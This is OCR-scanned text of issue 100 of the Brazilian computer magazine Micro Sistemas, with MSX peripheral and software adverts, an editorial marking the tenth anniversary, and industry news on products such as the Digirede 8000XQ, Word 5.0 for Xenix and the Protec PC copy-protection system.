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0 MSX 
DO FUTURO 

DDX MODEM PARA MICROS MSX 
Transmite e recebe em 1200/75, 300/300, 
1200/1200, BELL e CCITT. Discagem automática 
pelo teclado do micromputador. Monitoração 
de linha, rediscagem automática no caso de 
ocupado, atendimento automático. Contém 
software embutido para terminal genérico, ví¬ 
deo texto (MSX 1 e MSX 2). Homologado pela 
TELESR 

A Diferença 
está no produto 

KIT PARA DRIVE DDX 
Composto de gabinete metá¬ 

lico, fonte dealimentação, interfa¬ 
ce DDX, cabo para dois ■drives*, ma¬ 
nual e sistema operacional (DOS). 

▼ 

CONHEÇA OS 
MAIS RECENTES 
LANÇAMENTOS 

KIT DDX PLUS 1.1 
Este Kit faz com que o usuário es¬ 
colha entre o modo 'PLUS* e *l.T, fa¬ 
zendo seu micro ficar compatível 
com todos os jogos e utilitários do 
mercado. No modo Plus, o micro 
possui mais 64K de Ram, totalizan¬ 
do 128K. 

KIT DDX MSX 2.0 
O Kit MSX 2 faz com que o micro, 
entre outras vantagens, tenha 
maior resolução, maior velocidade 
de.manipulaçao de gráficos, um 
relógio real com bateria para 
quando o micro estiver desligado, 
80 colunas programáveis, 128K de 
Ram de vídeo, 256 cores simultâ¬ 
neas, etc. 

EXPANSOR DE SLOTS DDX 
Este aparelho expande cada ■SLOT do micro 
MSX em 4 "SLOTS* independentes, possibili¬ 

tando ao usuário utilizar até 8 "SUOrs* simul¬ 
taneamente, ao invés de 2 originalmente 

MEGA RAM DISK 
Esta placa é uma expansão de memória com 
o sistema operacional DDX DOS residente e é 
apresentada em 3 modelos diferentes: ddx 
256, 512 e 768 Kbytes, portanto, ela funciona 

como se fosse uma drive normal para o 
computador. 

Para quem gosta somente de jogos, é reco¬ 
mendável a Mega Game ddx 256 Kbytes sem 

o ddx DOS residente 

Vf/ift/L 
‘—'design ‘ Digital Design Eletrônica Ltda. 

TelS.: (011)570-1113 • 570-7471 • 575-2853 - São PaulO-SP 



REVENDEDORES DDX 

SÃO PAULO-SP/(011): Auúicomp Tei: 
267-3581 • Benny Micros Tei: 

570-1555 • Brindata Tei: 864-1888 • 
Bruno Blois Tei: 223-7011 • Casa do 

MSX Tel.: 533-2351 • 
• BA.C Informática Tei- 

871-0277 • Data Brinds Informática 
Tei: 287-9909 • Datareccrd Tei: 

457-9932 • Datatec Tei: 571-7083 • 
Ectron Tei : 290-7266 • Elpson Tel.: 
37-7688 • Farahs Informática Tei: 

36-6707 • Filcril Tei: 220-3833 • Ga¬ 
me Of Time Tei: 581-2739 • MCC In¬ 
formática Tei: 262-1876 • Misc Tei: 

34-8391 • MSX Informática Tel. 
872-0730 • MSX Soft Sampa Tei: 

579-8050 • Nasa Tei: 914-2266 • Pa¬ 
io Alto Informática Tei: 288-7583 • 
Pauhsoft Tei: 37-1814 • Place Tech 

Tei: 575-3087 • Play Tech Tel. 
220-1733 • Reai Universott Tel.: 

Digital 
Design 

ARAÇATUBASP: Compulee Tel.: 
10186123-3647 

BELÉM-PA: CompuDét Rí: 
(091)223-6319 

BELO HORtZONTE-MG: Lema Tel.: 
(031)212-6855 • A&us Tel.: 

(031)227-5688 • Raia Intormátca Tel.: 
(031)344-4877 

BRASlLIAOF: BCS Brasília Tel.: 
(061)274-7571 • CRP Intormátca Tel.: 

(061)248-1165 • DiU Intormátca Tel : 
(061)243-4040 

CABO FRtO-Rl: Hotmar Rí: 
(0246)43-3533 

CAMPINA GRANDE-PB: Magno Compu¬ 
tadores Tel.: (083)3216472 

CAMPINAS-SP: Computer Hobby Tel.: 
(0192)61-6649 • Sede Intormátca 

Tel ■ (0192)32-5188 • Marco Antomo 
Tel.: (0192)43-2579 

CURITIBA-PR: MSX SOFT Sul Intormát- 
ca Tel: (041)233-0046 

FEIRA OE SANTANA-BA: Computer Fee 
ra Tel.: (075)221-8094 

FLORIANÓPOLIS-SC: Prática Tei 
(0482)22-0819 • MegaOytc Intormát- 

ca Tel.: (0482)23-5010 
FORTALEZA-CE: Sun Foto Tel.: 

(085)244-2308 • Top Data Intormátca 
Tel.: (085)239-2798 

GOIÃNIAGO: Porto Soft Tel: 
(062)223-0111 

JUIZ DE FORAMG: Pcrnrcr Intormátca 
Tei: (032)212-2016 

JUNDtAÍ-SP: ITI Intormátca Tel.: 
(011)436-3322 

LONDRINA-PR: Quinta Geração Infor¬ 
mática Rí: (0432)24-8094 

MACEIÓAL: Datasott Tel.: 
(082)223-4984 

PELOTAS-RS: S J. Intormátca Tei 
(0532)25-9906 • Biza Bucruertz in¬ 

formática Tel.: (0532) 226988 • Per- 
tormátca Tel.: (0532)272172 

PORTO ALEGRE-RS: Fonte Computado¬ 
res Tel.: (0512)25 2286 • Digimer Tei- 

(0512)26-4395 
PRESIDENTE PRUOENTE-SP: Oura-lex 

Tel.: (0182)22-6853 
RECIFE-PE: Quiminal Tel. 

(081)222-1224 • Plavenor Tel.: 
(081)326-3337 

RIBEIRÃO PRErO-SP: ALS Tel.: 
(016)636-5379 

RIO DE JANEIRO-RJ: MSX SOFT Infor¬ 
mática Tel.: (021)284-6791 

SALVADOR-BA: Micro & Periféricos Tei: 
(071)359-5599 

SANTA MARIA-RS: Micro Sul Tel.: 
(055)221-1069 

SANTO ANDRÉ-SP: Shop Áudio e Vídeo 
Tei: (011)444-6055 

SANTOS-SP: Datamarket Tel.: 
(0132)37-3900 • Dranhne Tel.: 

(0132)34-9813 
S. J. DOS CAMPOS-SP: Igres Informút: 

ca Tel.: (0123)22-9057 
£ J. DO RIO PRETO-SP: Zero Um Intor 

málica Tel.: (0172)32-2633 
SÃO LUIZ-MA: Suprlmicros Tel. 

(098)222-4561 

TAUBATÉ-SP: J. R. Som Tel. 
(0122)33-1855 

TUBARÃ: X: Display Com. e Repres. 
Tei: (0486)22-1022 

VITÓRIA-ES: MSX Scorpions Tei: 
(027)239-2337 • Idéias Intormátca 

Tei: 1027)2879939 
VOLTA REDONDARJ: Otca Sider Rí: 

(0243)42-1833 

O MSX 
DO FUTURO: 

A DIGITAL DESIGN é uma empresa de capital genuina¬ 
mente nacional, voltada à industrialização e comercia¬ 
lização de periféricos para a linha MSX. 

Atuando no mercado há mais de três anos, o que prova ■ 
a seriedade com que a empresa encara o mercado de - 

MSX. a DIGITAL DESIGN desenvolveu, e vem desenvol- - 
vendo, vários periféricos para o micro-computador pes- ~ 

soai mais vendido do Brasil. — 

Entre os periféricos desenvolvidos estão: o KIT DE DRI¬ 
VE DDX, o CARTÃO 80 COLUNAS DDX, a MEGA RAM 

DISK 256 e o KIT DDX 2.0, uma placa que transforma 
o MSX 1.0 e 1.1 em MSX 2.0 com 512 cores, relógio, 128 

Kbytes de VRAM e 80 colunas embutido. 

LANÇAMENTOS 

0 EXPANSOR DE SLOTS DDX, as MEGA RAM MEMORY 
MAPPER DISK 512 e 768 Kbytes e os MODENS DDX es¬ 
tão disponíveis nas nossas revendas. 

DDX: ORIGINAL: 
TECNOLOGIA DE PONTA DEDICADA 4 SEU MSX: IRRESISTÍ¬ 
VEL ATÉ PARA SER COPIADO... EXPERIMENTE! AFINAL, 

TRATA-SE DE UM PRODUTO COM ESTA MARCA DE 
QUALIDADE: 

1 \if/ifl/t. 
design 

Digital Design Eletrônica Ltda. 
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A QUALIDADE AO SEU ALCANCE 

Agora você pode usufruir dos produtos DBMS. 

Escolher entre as ferramentas de produtividade em 
CLIPPER ou entre os Sistemas de Aplicação Pessoal. 

Além da qualidade DBMS, os produtos são acompa¬ 
nhados de garantia e registro de software. 

Possuem características avançadas que conferem 
velocidade e flexibilidade, representando um grande 
passo no desenvolvimento de aplicações. 

Assim, comprando um produto DBMS original, você 
ganha: preço, atendimento, garantia de defeito de 
gravação e grandes descontos quando trocar a ver¬ 
são. 

Faça um círculo em torno dos programas que deseja 
adquirir e preencha o cupom abaixo. Anexe um che¬ 
que nominal a DBMS INFORMÁTICA LTDA no valor 
total do pedido e remeta para: 

DBMS INFORMÁTICA LTDA 
Posta Restante "CENTRO EMPRESARIAL" 

Av. Praia de Botafogo, 228 
CEP: 22250 ■ Rio de Janeiro - RJ 

Produtividade em CLIPPER 

dEDIT - Editor de arquivos .DBF Cr$ 10.000,00 

dBMSLIB - Biblioteca de Funções CLIPPER Cr$ 18.000,00 

d FAX - Fax d Editor de texto acentuado Cr$ 10.000,00 

dBGRAPH - Gráficos Comerciais Cr$ 18.000,00 

dSCRIBA - Editor de Texto Cr$ 18.000,00 

dlNVEST - Gerenciamento Financeiro Cr$ 10.000,00 

* Compatível com o CLIPPER 5.0 

Sistemas de Aplicação Pessoal 

Sref - Referências bibliográficas Cr$ 5.000,00 

Sdsk - Controle de Discoteca (LP/CD/K7) Cr$ 5.000,00 

Sbib - Controle de Biblioteca Cr$ 5.000,00 

Svid - Controle de Videoteca Cr$ 5.000,00 

Scar - Controle de Despesas de Oficina Cr$ 5.000,00 

SphO - Controle de Fotografias Cr$ 5.000,00 

Atenção: estamos cadastrando revendas em outros estados 

Estou enviando o cheque n8_do Nome:_ 

Banco n8_, de Cr$_ End.:_ 

nominal à DBMS INFORMÁTICA LTDA pelo Cidade: 

pagamento dos produtos assinalados acima. Cep:_ 

CLIPPER 6 marca registrada da Nantucket Corporation 
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ANO X N° 100 CAPA: CLÁUDIO COSTA 

Ao leitor 

A revista MICRO SISTEMAS nasceu da idéia de se fazer no Brasil e para brasileiros 
o que, em países mais adiantados, ainda era uma tênue tendência: ampliar o uso dos 
computadores, ou seja, tornar sem mistérios a informática. 

Na verdade, o que se buscou no início foi a integração entre os fabricantes de hard¬ 
ware e software, o mercado consumidor e a comunidade de criação. Concretizada esta 
integração, surgiria um usuário não só consciente do produto que estava consumindo, 
mas também satisfeito com os serviços a ele oferecidos e com acesso facilitado aos co¬ 

nhecimentos e técnicas disponíveis. 
Tudo isso aconteceria evidentemente tendo como ponto central um veículo de infor¬ 

mação eminentemente técnico, porém não acadêmico. Desta equação nasceu a revista 

MICRO SISTEMAS, cujos resultados estão estampados nessas 100 edições. 
Esses anos de “fazer" MICRO SISTEMAS foram repletos de alegrias e também de 

algumas tristezas, mas a melhor descoberta deste processo ficou mesmo para a cons¬ 
tatação de que, em meio a acertos e erros, sempre houve uma comunidade pronta a 
participar e a dar sua colaboração. São nossos leitores que, as vezes travestidos de co¬ 
laboradores, nos tem ensinado como fazer uma revista. 

E foi fazendo justamente esta revista que chegamos até aqui: 10 anos de mercado 

e a edição número 100. Aos nossos leitores, ou melhor, aos nossos grandes amigos 
dedicamos essa edição especial, aproveitando então para contar um pouco como tudo 
aconteceu, do lado de cá. 

Renato Degiovani 
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BYTES 

LINEFILTER METRON 

Metron lança novos filtros para corrigir 
defeitos da rede elétrica 

A Metron Indústria Eletrônica, um dos 
maiores fabricantes brasileiros de esta 
bilizadores de tensão e sistemas no- 
break, está lançando uma nova família 
de filtros de linha Linerfilterline para uso 
em microcomputadores, terminais de te¬ 
lex, centrais RABX, máquinas registradoras, 
eletrodomésticos e outros equipamentos 
digitais. 

Os filtros corrigem interferências na 
rede elétrica, evitando, por exemplo, o em- 

pastelamento de menságens enviadas por 
fax ou a queima dos equipamentos por 
ocorrência de raios. Os filtros de linha são 
uma alternativa mais econômica para usuá¬ 
rios de equipamentos digitais que preferem 
não Investir na compra de estabilizadores 
de tensão. 

Os novos modelos, de design compacto, 
são fabricados em aço blindado, na cor 
bege, e apresentam opções com entradas 
simultâneas para até quatro equipamentos. 

Supermicros e disco óptico 
na automação comercial 

Está lançada a mais completa linha de 
supermicrocomputadores Digirede 
8000XQ, que agora também opera com o 
microprocessador Motorola 68030 de 
32/32 bits, capaz de processar até 7 mi¬ 
lhões de instruções por segundo, armaze¬ 
nar até 4 bilhões de caracteres (Glgabytes) 
e suportar 64 milhões de caracteres (Me¬ 
gabytes) de memória principal, toda não- 
-volátil. Além dos supermicros, a Digirede 
apresenta também o PC 386, o disco óp¬ 

tico regravável, terminais de vídeo semi- 
gráfico e terminal PDV, para automação 
comercial. 

A nova linha 8000XQ, lançada este ano, 
além de proporcionar maior rapidez e ca¬ 
pacidade de processamento, permite a uti¬ 
lização do sistema operacional Diglx V, 
versão licenciada do Unix System V da 
AT&T. 

A linha de supermlcro XQ utiliza a lin¬ 
guagem Cobol Microfocus 85, pode ser 

usadas por empresas de todos os portes 
desde comercial, industrial ou de serviços 
e trabalha com qualquer sistema de ge 
renciamento de banco de dados. A nova 
versão opera com softwares Unify 4.0, Ac- 
cell, Uniplex, Zim, Informix, Dialog, Data- 
flex e Oracle. Que exige estrutura expeci- 
fica de hardware. 

Com capacidade de atender até 120 
saídas para terminais em seu modelo 
mais avançado, a família 8000XQ é apre¬ 
sentada em dimensões reduzidas, mais 
compactas, já que a sua arquitetura base- 
-se em uma única placa (‘mother-board1), 
para todos os modelos, o que permite seu 
crescimento de acordo com as necessida¬ 
des do usuário. 

Projetada para operar sob o sistema 
operacional Digix V, versão licenciada do 
Unix System V, da AT&T, a família 8000XQ 
introduz no Brasil uma gama poderosa de 
software, abrangendo produtos best-sellers 
nacionais e internacionais, de grande efi¬ 
ciência e utilidade. 

Esta padronização de hardware e soft¬ 
ware oferece ao usuário brasileiro recursos 
que até então só estavam a disposição no 
exterior, o que coloca o Brasil no mesmo 
patamar de tecnologia dos países mais 
avançados. 

Maior rapidez na 
construção de gráficos 

Como forma de agilizar o desenvolvi¬ 
mento de gráficos e diagramas, a SMI- 
-Software Marketing Internacional traz pa 
ra o Brasil o novo programa Exponent 
Graphics. Lançado há seis meses no mer¬ 
cado norte-americano pela IMSL, empresa 
proprietária do software, representada no 
País pela SMI, o novo programa atende ao 
nicho de mercado dos usuários que de 
senvolvem programas em linguagem For¬ 
tran e C, particularmente matemáticos, es¬ 
tatísticos, engenheiros e pesquisadores. 

O Exponerrt Grafics representa mais um 
produto voltado para atender as necessi¬ 
dades dos usuários, não apenas das bi 
bliotecas da IMSL mas de qualquer outro 
tipo de ambiente. 
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• manutenção 
• software 

informática entre amigos • treinamento 

PC/XT/AT 
impressoras, estabilizadores, formulários, discos, fitas, mesas. 

• venda 

Cibertécnica Informática Ltda. — Rua Senador Dantas, 117 Gr. 1941 - Tel.: (021) 262-8249 



AKO EM 



BYTES 

CONCEPTION - 3D 

Primeiro XT com 14 MHZ 
A ATS - Tecnologia, Indústria e Comércio 

está comercializando o HT141, o primeiro XT 
de 14 MHz com tecnologia de ponta do mer¬ 
cado mundial. 

Custando 50% do preço de um AT, este 
novo equipamento é 3,4 vezes mais rápido 
que um XT de 4,77 MHz e apresenta 70% de 
desempenho de um AT de 8 MHz. Além dis¬ 
so o HT 141 possui um teclado com 104 te¬ 
clas (padrão AT), capacidade de 640 Kb de 
memória RAM, mais 384 Kb de RAM virtual 
e 8 Kb de memória Epron, duplo clock com 
14 e 4,77 MHz comandados por hardware e 
microprocessador 8088-12. Utiliza SMD que 
integra várias funções das placas convencio¬ 
nais de XT, resultando em uma diminuição 
física. 

O HT 141 possui ainda circuito eletrôni¬ 
co para evitar o acionamento acidental da te¬ 
cla reset, chave de comutação para funcio¬ 
namento normal ou turbo, e novo design, re¬ 
volucionando os padrões tradicionais do 
mercado. 

A ATS acreditando que ainda exista um 
bom segmento de usuários de XT, investiu 
maciçamente nesse produto e pretende, 
dessa forma, elevar de 8 para 10% sua par¬ 
ticipação nesse mercado. 

Conception-3D em 
rede local 

Conception-3D, o software de CAD (Pro¬ 
jeto Auxiliado por Computador) em 2D ou 3D 
está sendo lançado em ambiente operacio¬ 
nal MS/DOS. Esta função integra o banco de 
dados gráficos e não gráficos e gerencia os 
conflitos de acesso. 

A última versão do software 
Conception-3D da Serbi proporciona aos 
computadores pessoais IBM e compatíveis, 
isolados ou em rede, possibilidade de mani¬ 
pulação de vistas até então reservadas aos 
grandes sistemas como, por exemplo, a re¬ 
presentação das faces ocultas ou a revisão 
imediata das cotas e da nomenclatura duran¬ 
te as modificações. 

A facilidade de utilização do produto é 
sempre para o software Conception-3D um 
ponto primordial, e esta simplicidade 
encontra-se também na linguagem de co¬ 
mando e de parametragem de alto desem¬ 
penho. Serve para a criação de símbolos para 
completar as bibliotecas já existentes e pa¬ 
ra definir os macrocomandos. Do mesmo 
modo, projeções em perspectivas cavaleiras 
podem ser tiradas automaticamente a par¬ 
tir de desenhos de planos numerizados por 
um scanner (dispositivo de varredura) antes 
de serem geradas em 3D real. Por outro la¬ 

do, para a criação direta em 3 dimensões, o 
retorno em duas dimensões constrói as par¬ 
tes eventualmente faltantes do plano inicial 
com as hachuras e as cotas de acordo com 
as normas AFNOR, U.S. ou BSI. 

Os métodos clássicos de desenho na te¬ 
la permanecem válidos. Aos pontos, seg¬ 
mentos, círculos e elementos cônicos diver¬ 
sos. retângulos e outras figuras primitivas 
acrescentam-se as funções de associação, 
interseção, tangentes, paralelas, chanfros ou 
curvas de união. A cada peça terminada ou 
suprimida, a nomenclatura geral é atualiza¬ 
da pelo software Conception-3D. 

A flexibilidade deste software deve-se a 
sua estrutura modular em 5 partes distintas 
em 2D. cotas, 3D, faces ocultas e banco de 
dados, constituindo este último o núcleo do 
conjunto. A sua possibilidade de utilização 
em rede UNIX ou MS/DOS simplifica sua im¬ 
plantação em vários locais já interligados. A 
Serbi. inteiramente dedicada a este produ¬ 
to. o faz evoluir para o comando de ferramen¬ 
tas de produção em CAPC (Controle da Pro¬ 
dução Auxiliado por Computador) a partir do 
banco de dados. 

SAMBA perde 
Categoria 1 

A planilha eletrônica Samba, comercia¬ 
lizada pela PC Software, perdeu o registro 
na categoria 3, reservada pela Lei de Soft¬ 
ware em vigor no País, somente para pro¬ 
gramas que tenham sido efetivamente de¬ 
senvolvidos no Brasil. A decisão é inédita 
e significa o desfecho do processo movi¬ 
do pela Lotus (através da Intercorp, uma de 
suas distribuidoras no Brasil), solicitando 
o descredenciamento do produto sob ale¬ 
gação de que não passava de uma tradu¬ 

ção da planilha TWIN, fornecida pela em¬ 
presa norte-americana Mosaic. 

A cassação do registro de categoria 1 
do Samba foi decidida a partir de um pa¬ 
recer técnico emitido pelo grupo de traba¬ 
lho. criado especialmente para assessorar 
a extinta SEI no processo. Nas conclusões, 
o grupo afirmou que "o programa Samba 
não pode ser caracterizado como um pro¬ 
grama desemvolvido no País, por pessoas 
naturais aqui residentes e domiciliadas ou 
por uma empresa nacional, tendo havido 
comprovada cooperação entre uma em¬ 
presa nacional e uma empresa estrangei¬ 
ra. Não há dúvida de que ambos os progra¬ 
mas foram derivados de um mesmo pro¬ 
grama original, elaborado para usuários de 
língua inglesa", acrescentando que a tra¬ 
dução para o português foi obtida 
introduzindo-se modificações necessá¬ 
rias, porém não muito bem integradas ao 
programa. 

Na mesma portaria que retira o Samba 
da categoria 1, foi anunciado o registro do 
produto na categoria 2, destinada a soft¬ 
ware desenvolvido em conjunto com em¬ 
presas estrangeiras. Isto significa que o 
produto perde os privilégios dados aos 
programas realmente nacionais, tais co¬ 
mo: ter preferência na compra por empre¬ 
sas governamentais e impedir a entrada no 
País de concorrentes estrangeiros com ba¬ 
se no conceito de similaridade. 

Aproveitando a decisão da SEI, a Lotus 
resolveu dar força total a uma campanha 
iniciada recentemente, visando estimular 
a troca de bases instaladas de outras pla¬ 
nilhas, pelo Lotus 1-2-3, e move ainda, um 
processo contra a Mosaic, sob alegação de 
que o Twin é cópia da sua planilha. A deci¬ 
são será tomada pelo mesmo juiz que em 
julho último deu ganho de causa à Lotus 
num processo igual movido contra a Pa- 
perback, fornecedora do VP-Planner. 
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SOFTWORKS 

Você que é usuário dos micros Amiga 500/2000/3000, terá 
agora a mais alta tecnologia a seu dispor: HITEK 

SOFTWORKS. Uma divisão da DISCOVERY INFORMÁTICA 
voltada exclusivamente para esta fascinante linha de 

computadores. Programas nacionais, desenvolvidos pela 
melhor equipe de programadores do Brasil. 

Na HITEK você encontrará uma completa linha de programas 
nas mais diversas áreas de interesse. Música, gráficos, jogos 

e muito mais. 

Não espere encontrar na HITEK, equipamentos importados 
ou programas piratas. A HITEK existe para tornar seu Amiga 

uma máquina realmente útil e totalmente legal. 

Remeta o cupom para: 
HITEK SOFTWORKS 

Caixa Postal 3043 
CEP 20001 - Rio de Janeiro - RJ 

Isto o cadastrará junto a nossos arquivos 
como usuário do Amiga, facilitando assim a 

futura aquisição de nossos produtos. 

ATENÇÃO: SOMENTE ACEITAREMOS 
CADASTRO DE PESSOAS QUE POSSUAM 

COMPUTADORES AMIGA. 

SOFTWARES ORIGINAIS PARA AMIGA. 

HITEK SOFTWORKS é divisão da Discovery 
Informática. 

AMIGA e marca reg^treda de Ccmmoúore-Am^a Jnc. 

BsüvT 
I nome._ 

/ ————-ZZZI~~ 
/} I CIDADE ■- 

^CZZSZZZZ 



MONITOR TV PHILIPS 

Novo TV Monitor Philips de 14 polegadas 

WORD 5.0 para 
Unix/Xenix agora em 
português 

As facilidades do processador de textos 
Microsoft-Word 5.0 já estão disponíveis pa 
ra os usuários de sistemas Xenix/Unix, to¬ 
talmente em português. O produto foi ada- 
pitada para o ambiente multiusuário pela 
SCO, que também detem a sua distri¬ 
buição. 

A localização do produto para a língua 
portuguesa foi realizada pela SCO em 
conjunto com a Cl Unimax, quando nor¬ 
malmente um grupo de engenharia da 
SCO (sediado em Londres) fica encarrega 
do deste trabalho. A Cl Unimax empenhou- 
-se na tradução, revisão, composição dos 
manuais e fez os testes necessários com 
o hardware nacional. Em Londres, foram 
realizadas as etapas de engenharia (alte¬ 
rações de código para introduzir coman¬ 
dos de acentuação, menus, help) e contra 
le de qualidade, com o acompanhamento 
da Unimax. 

O Word 5.0 projeto para Xenix/Unix é 
totalmente compatível com sua versão 
DOS. Integra dados, textos e gráficos de 
diferentes aplicações; possui recursos de 
estilos para formatações padronizadas; fo¬ 
lha de rascunho e reorganização de 
documentos; e diversas colunas com 
edição na tela. 

Características técnicas: 
- roda sob SCO Xenix/Unix 386 
- exige unidade central de processamento, 
com processador Intel 80386, memória 
RAM de 1,5 Mb para um usuário e 500 Kb 
para cada usuário adicional. Exige no mí¬ 
nimo de 2,4 Mb de espaço em disco e 3,8 
Mb, com uma impressora instalada. 

DOTS lança cartucho de 
fitas 

A DOTS, empresa nacional que utiliza 
em suas impressoras Mirage a tecnologia 
de múltiplas cabeças, ampliando sua linha 
de produtos, está lançando no mercado fi¬ 
tas para impressora. 

Com tecnologia desenvolvida pela em¬ 
presa, seguindo os padrões de qualidade 
e manutenção de suas máquinas, o novo 
produto é apresentado em cartucho metá¬ 
lico que permite até 10 trocas de refíl, 
sendo que cada um imprime até 13 mi¬ 
lhões de caracteres, totalizando 143 mi¬ 
lhões de caracteres por cartucho. As 
cabeças de impressão utilizam faixas di¬ 
ferenciadas da mesma fita, permitindo 
desta maneira um aproveitamento superior 
aos das fitas convencionais. 

O novo televisor colorido Philips de 14 
polegadas, o 14 GL 1410 TOP MONITOR, 
com entradas independentes para áudio 
e vídeo, controle remoto de 26 funções e 
design exclusivo já está no mercado. As 
imagens geradas por um equipamento co¬ 
nectado às entradas de áudio e vídeo 
(vídeo-cassete, videogames, microcompu¬ 
tador ou videotexto) apresentam melhor 
contraste, maior nitidez e fidelidade de co¬ 
res, menos interferência e a reprodução so¬ 
nora ganha uma melhor fidelidade. 

0 14 TOP MONITOR é um dos mais le- 

A Softec lança o micro EGO XT PLUS, 
que substitui o micro EGO XT, modelo fa¬ 
bricado até hoje pela empresa, com a 
vantagem de manter o mesmo preço e 
oferecer características técnicas que apro¬ 
ximam o XT à performance de um micro 
do porte do IBM PC/AT. 

O design compacto do gabinete foi 
possível em função da utilização de uma 
monoplaca de tamanho reduzido que in¬ 
clui o processador central, placa controla¬ 
dora de vídeo, duas saídas seriais, porta 
paralela, controlador de drive 360 Kb a 
1.44 Mb, relógio de memória não volátil e 
clock com velocidades de 12/14 Mhz. 
Com a redução da placa ficarão livres 
quatro slots para expansões e com a di¬ 
minuição do número de componentes 
conseguiu-se um aumento na confiabili¬ 
dade do equipamento e facilidade de ma¬ 
nutenção técnica. 

ves televisores de sua categoria. Seu novo 
design incorpora na parte superior um lo¬ 
cal adequado para o fácil transporte do 
aparelho com apenas uma das mãos, e du¬ 
rante o transporte o controle remoto po¬ 
derá ser guardado em um local exclusivo 
na tampa traseira. 

Oferece, entre outros recursos: sintonia 
eletrónica digital VHF/UHF, indicação das 
funções na tela (On Screen Display), me¬ 
mória programável para até 18 canais, se¬ 
leção de canais preferenciais e ajuste au¬ 
tomático de voltagem 110/220 volts. 

A atualização eletrónica da linha de mi¬ 
cros XT foi necessária porque representa 
um custo menor de fabricação e melhor 
performance, ao contrário do que ocorre 
no Brasil com os equipamentos da linha 
286 e 386 que apresentam custo de fa¬ 
bricação cerca de 80% mais altos. 

Outra característica do EGO XT PLUS é 
o novo tipo de BIOS utilizado, igual ao dos 
micros da linha AT, que permite configurar 
o equipamento através de software resi¬ 
dente em EPROM e não diretamente ao 
hardware, facilitando assim as alterações 
de configurações. 

A configuração básica do EGO XT PLUS 
com o clock de 12 Mhz, 704 Hb de me¬ 
mória central, duas portas seriais, uma 
porta paralela, relógio de tempo real, com- 
trolador de vídeo, controlador de floppy, 
monitor de vídeo, teclado expandido e 
uma unidade de drive custa 3300 BTNs. 

Softec lança micro EGO XT PLUS 
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Protec PC: proteção total 
do software ao disquete 

Para proteger programas, subdiretórios 
e informações confidenciais contra o 
acesso não autorizado, pirataria e cor¬ 
rupção acidental ou intencional dos dados, 
a Newware Informática está lançando o 
Protec PC/o primeiro sistema de proteção 
do mercado brasileiro que possibilita, in¬ 
clusive, a segurança de disquetes grava¬ 
dos com quaisquer tipos de arquivos. 

Operado por menus pull-down, o sis¬ 
tema é de fácil utilização e apresenta 
como vantagem as informações contidas 
em subdiretórios, como os arquivos execu¬ 
táveis, além dos próprios arquivos de da¬ 
dos de praticamente todos os best-sellers 
do mercado. Esta proteção é conseguida 
através da encripitação do conteúdo que, 
no caso do subdiretório, esconde seu no 
me da listagem do diretório raiz, e toda 
tentativa de acesso resulta em erro. 

O Protec PC prevê a proteção de pro¬ 
gramas de cinco formas distintas: a pri¬ 
meira delas permite que um software pro¬ 
tegido seja executado somente com a 
presença do disco-chave no drive A: ou B:; 
a segunda forma de proteção ocorre 
quando o programa protegido do usuário 
é instalado em um determinado disco 
rigido, garantindo sua execução exclusiva¬ 
mente neste; a terceira está na sua capa¬ 
cidade de proteger o programa vinculando- 
-o a um equipamento expecifico, isso 
garante que o software somente seja exe¬ 
cutado no PC em que foi instalado, evi¬ 
tando, assim, a cópia ilegal dentro da 
mesma empresa. Nas duas formas de pro¬ 
teção restantes, o Protec PC também está 
abilitado a vincular programas em disque¬ 
tes ou em discos rígidos a um hardware 
determinado. 

Em qualquer uma destas cinco moda¬ 
lidades de proteção de software, o Protec 
PC é capaz de detectar a presença de vírus. 

Micro 386SX com 
velocidade de 20 MHz 

A Addon Tecnologia em Produtos Eletrô¬ 
nicos Ltda, fabricante de microcomputa¬ 
dores com sede em São Paulo, está lan¬ 
çando, o microcomputador 386SX com 
velocidade de 20 MHz. Para publicá-lo, 
participou de parcerias tecnológicas infor¬ 
mais com as empresas norte-americanas 
Advanced Logic Research (ALR)e Capetown 
Communlcation. 

Ao introduzir este equipamento no mer¬ 
cado brasileiro, a Addon torna-se a única 
empresa brasileira a fabricar este tipo de 
micro de 20 MHz. Até o momento, só exis¬ 
tia no mercado equipamentos 398SX com 
velocidade de 16 MHz. 

Recentemente, a mesma empresa lan¬ 
çou um outro equipamento desenvolvido 
também em parceria: o Vert Plus com ve¬ 
locidade de 33 MHz. Trata-se do único 
386 com esta velocidade no mercado bra¬ 
sileiro. Os demais não ultrapassam os 25 
MHz. O Vert Plus 33, é equipado com três 
microprocessadores - um para a CPU prin¬ 
cipal e os outros dois para as CPUs adi 
cionais encarregadas do controle de dis¬ 
cos e de comunicação. 

Assistência técnica em 
apenas 2 horas 

A Zero Informática Serviços, empresa 
do grupo zero, acaba de colocar em ope¬ 
ração um novo padrão de atendimento de 
assistência técnica. Pelo novo esquema, 
qualquer cliente em todo território nacio¬ 
nal terá seu problema de equipamento re¬ 
solvido no prazo de no máximo 2 horas do 
momento do chamado. 

A estruturação do novo padrão de aten¬ 
dimento exigiu da zero um investimento de 

ASSISTÊNCIA TÉCNICA ZERO 

Quando a empresa recebe um chamado 
de assistência técnica, quem atende não 
é a recepcionista, como na maioria dos 
concorrentes, e sim um supervisor técnico. 
Esse profissional procede a um amplo le¬ 
vantamento do problema do cliente, já de¬ 
terminando em que área do equipamento 
se encontra o defeito. 

O passo seguinte será o de procurar, no 
computador da firma, o técnico que esti¬ 
ver mais próximo do cliente ou enviar um 
técnico do escritório com a placa ou os 
equipamentos a serem substituídos. Se o 
cliente for de fora do estado de São Paulo 
a central de atendimento acionará o téc- 

Desenvolvido para operar em sistemas 
operacionais compatíveis, com o MS DOS 
2.XX e posteriores, a instalação do Protec 
PC exige drive 5 l/4‘ e hard disk na con¬ 
figuração mínima do equipamento. 

US$ 100 mil na ampliação dos laboratórios, 
reformulação da central de atendimento 
e na aquisição de um estoque significativo 
em placas, periféricos e equipamentos 
back up em geral. 

nico residente na cidade. Todo esse pro¬ 
cesso leva apenas alguns minutos, fazendo 
com que o cliente receba o atendimento 
da assistência técnica antes mesmo de de¬ 
corrida a primeira hora. 

DATADUQUE INFORMÁTICA OS MELHORES PREÇOS 
DO MERCADO 

COMPUTADORES PC XT AT 

DRIVES 

IMPRESSORAS 

NO BREAK 

GABINETES/FONTES 

COMPUTADOR MSX 

PLACAS 80 COLUNAS 

MODEM COMUNICAÇÃO 

INTERFACE MSX 
MONITORES 

FORMULÁRIOS 

ETIQUETAS 

DISQUETES 

PORTA DISQ. 

CAPAS 

SISTEMAS 

CONTABILIDADE 

FOLHA DE PAGAMENTO 

ESTOQUE 

FATURAMENTO 

TREINAMENTO EMPRESARIAL EM: MS-DOS, WS, 
